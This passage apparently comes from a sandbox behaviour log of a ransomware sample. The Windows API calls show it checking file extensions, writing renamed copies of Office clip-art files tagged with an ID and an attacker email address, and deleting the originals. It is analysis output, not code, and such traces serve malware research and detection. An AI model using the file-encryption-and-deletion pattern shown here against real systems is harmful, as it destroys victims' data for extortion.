4 [0305.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.944] lstrlenW (lpString=".docx") returned 5 [0305.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.944] lstrlenW (lpString=".pdf") returned 4 [0305.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.944] lstrlenW (lpString=".xls") returned 4 [0305.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.944] lstrlenW (lpString=".xlsx") returned 5 [0305.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.944] lstrlenW (lpString=".ppt") returned 4 [0305.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.945] lstrlenW (lpString=".zip") returned 4 [0305.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.945] lstrlenW (lpString=".rar") returned 4 [0305.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.945] lstrlenW (lpString=".bz2") returned 4 [0305.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.945] lstrlenW (lpString=".7z") returned 3 [0305.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.945] lstrlenW (lpString=".dbf") returned 4 [0305.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.945] lstrlenW (lpString=".1cd") returned 4 [0305.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0305.945] lstrlenW (lpString=".jpg") returned 4 [0305.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.946] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.946] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0305.946] GetLastError () returned 0x0 [0305.947] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4314, lpOverlapped=0x0) returned 1 [0305.948] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4320, lpOverlapped=0x0) returned 1 [0305.950] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.950] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.950] SetEndOfFile (hFile=0x338) returned 1 [0305.950] CloseHandle (hObject=0x338) returned 1 [0305.950] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.950] SetEndOfFile (hFile=0x37c) returned 1 [0305.951] CloseHandle (hObject=0x37c) returned 1 [0305.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0305.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.952] lstrlenW (lpString=".doc") returned 4 [0305.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.952] lstrlenW (lpString=".docx") returned 5 [0305.952] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0305.953] lstrlenW (lpString=".pdf") returned 4 [0305.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString=".xls") returned 4 [0305.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.953] lstrlenW (lpString=".xlsx") returned 5 [0305.953] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0305.953] lstrlenW (lpString=".ppt") returned 4 [0305.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.953] lstrlenW (lpString=".zip") returned 4 [0305.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.953] lstrlenW (lpString=".rar") returned 4 [0305.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString=".bz2") returned 4 [0305.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString=".7z") returned 3 [0305.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.953] lstrlenW (lpString=".dbf") returned 4 [0305.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.953] lstrlenW (lpString=".1cd") returned 4 [0305.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0305.953] lstrlenW (lpString=".jpg") returned 4 [0305.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.954] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.954] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0305.955] GetLastError () returned 0x0 [0305.955] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0306.292] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d10, lpOverlapped=0x0) returned 1 [0306.293] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.294] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.294] SetEndOfFile (hFile=0x338) returned 1 [0306.691] CloseHandle (hObject=0x338) returned 1 [0306.691] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.691] SetEndOfFile (hFile=0x37c) returned 1 [0306.692] CloseHandle (hObject=0x37c) returned 1 [0306.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0306.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.693] lstrlenW (lpString=".doc") returned 4 [0306.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString=".docx") returned 5 [0306.693] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.693] lstrlenW (lpString=".pdf") returned 4 [0306.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString=".xls") returned 4 [0306.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.693] lstrlenW (lpString=".xlsx") returned 5 [0306.693] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.693] lstrlenW (lpString=".ppt") returned 4 [0306.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.693] lstrlenW (lpString=".zip") returned 4 [0306.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.693] lstrlenW (lpString=".rar") returned 4 [0306.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString=".bz2") returned 4 [0306.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString=".7z") returned 3 [0306.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.693] lstrlenW (lpString=".dbf") returned 4 [0306.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.693] lstrlenW (lpString=".1cd") returned 4 [0306.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0306.694] lstrlenW (lpString=".jpg") returned 4 [0306.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.695] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.695] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0306.696] GetLastError () returned 0x0 [0306.696] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2d14, lpOverlapped=0x0) returned 1 [0306.735] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d20, lpOverlapped=0x0) returned 1 [0306.737] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.737] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.737] SetEndOfFile (hFile=0x338) returned 1 [0306.737] CloseHandle (hObject=0x338) returned 1 [0306.737] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.737] SetEndOfFile (hFile=0x37c) returned 1 [0306.738] CloseHandle (hObject=0x37c) returned 1 [0306.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0306.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.739] lstrlenW (lpString=".doc") returned 4 [0306.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.739] lstrlenW (lpString=".docx") returned 5 [0306.739] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.739] lstrlenW (lpString=".pdf") returned 4 [0306.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.739] lstrlenW (lpString=".xls") returned 4 [0306.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.739] lstrlenW (lpString=".xlsx") returned 5 [0306.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.739] lstrlenW (lpString=".ppt") returned 4 [0306.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.740] lstrlenW (lpString=".zip") returned 4 [0306.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.740] lstrlenW (lpString=".rar") returned 4 [0306.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.740] lstrlenW (lpString=".bz2") returned 4 [0306.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.740] lstrlenW (lpString=".7z") returned 3 [0306.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.740] lstrlenW (lpString=".dbf") returned 4 [0306.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.740] lstrlenW (lpString=".1cd") returned 4 [0306.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0306.740] lstrlenW (lpString=".jpg") returned 4 [0306.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.740] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0306.741] GetLastError () returned 0x0 [0306.741] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3a14, lpOverlapped=0x0) returned 1 [0306.752] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3a20, lpOverlapped=0x0) returned 1 [0306.754] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.754] WriteFile (in: hFile=0x338, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.754] SetEndOfFile (hFile=0x338) returned 1 [0306.754] CloseHandle (hObject=0x338) returned 1 [0306.754] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.754] SetEndOfFile (hFile=0x37c) returned 1 [0306.755] CloseHandle (hObject=0x37c) returned 1 [0306.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0306.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.759] lstrlenW (lpString=".doc") returned 4 [0306.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString=".docx") returned 5 [0306.759] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0306.759] lstrlenW (lpString=".pdf") returned 4 [0306.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString=".xls") returned 4 [0306.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.759] lstrlenW (lpString=".xlsx") returned 5 [0306.759] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0306.759] lstrlenW (lpString=".ppt") returned 4 [0306.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.759] lstrlenW (lpString=".zip") returned 4 [0306.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.759] lstrlenW (lpString=".rar") returned 4 [0306.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString=".bz2") returned 4 [0306.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString=".7z") returned 3 [0306.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.759] lstrlenW (lpString=".dbf") returned 4 [0306.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.760] lstrlenW (lpString=".1cd") returned 4 [0306.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0306.760] lstrlenW (lpString=".jpg") returned 4 [0306.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.761] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.761] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.766] GetLastError () returned 0x0 [0306.766] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x18b0, lpOverlapped=0x0) returned 1 [0306.807] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x18c0, lpOverlapped=0x0) returned 1 [0306.808] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.808] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.809] SetEndOfFile (hFile=0x398) returned 1 [0306.809] CloseHandle (hObject=0x398) returned 1 [0306.809] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.809] SetEndOfFile (hFile=0x338) returned 1 [0306.810] CloseHandle (hObject=0x338) returned 1 [0306.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0306.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.811] lstrlenW (lpString=".doc") returned 4 [0306.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.811] lstrlenW (lpString=".docx") returned 5 [0306.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.811] lstrlenW (lpString=".pdf") returned 4 [0306.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.811] lstrlenW (lpString=".xls") returned 4 [0306.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.811] lstrlenW (lpString=".xlsx") returned 5 [0306.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.811] lstrlenW (lpString=".ppt") returned 4 [0306.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.811] lstrlenW (lpString=".zip") returned 4 [0306.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.812] lstrlenW (lpString=".rar") returned 4 [0306.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.812] lstrlenW (lpString=".bz2") returned 4 [0306.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.812] lstrlenW (lpString=".7z") returned 3 [0306.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.812] lstrlenW (lpString=".dbf") returned 4 [0306.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.812] lstrlenW (lpString=".1cd") returned 4 [0306.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0306.812] lstrlenW (lpString=".jpg") returned 4 [0306.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.812] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: 